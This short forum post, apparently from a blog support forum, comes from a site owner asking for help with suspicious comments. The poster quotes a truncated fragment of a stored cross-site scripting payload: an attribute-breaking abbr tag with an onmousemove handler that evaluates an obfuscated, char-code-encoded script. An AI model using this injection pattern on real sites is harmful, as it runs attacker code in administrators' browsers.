 * Hi Folks,
 * Got a couple comment moderation emails with the following code in the comment.
   Since the javascript is set to fire on mouse move I am scared to go to the comment
   moderation page because then the comment would render and I would have to move
   the mouse to delete them.
 *     ```
       <a href='
       href="'>:-)<abbr title='"onmousemove=" eval(atob(String.fromCharCode(67,109,108,109,73,67,104
       ```
   
 * There’s a whole lot more numbers after the end here.
 * I looked on the web for something similar and the other attacks I found that 
   were similar to this were really nasty… see:
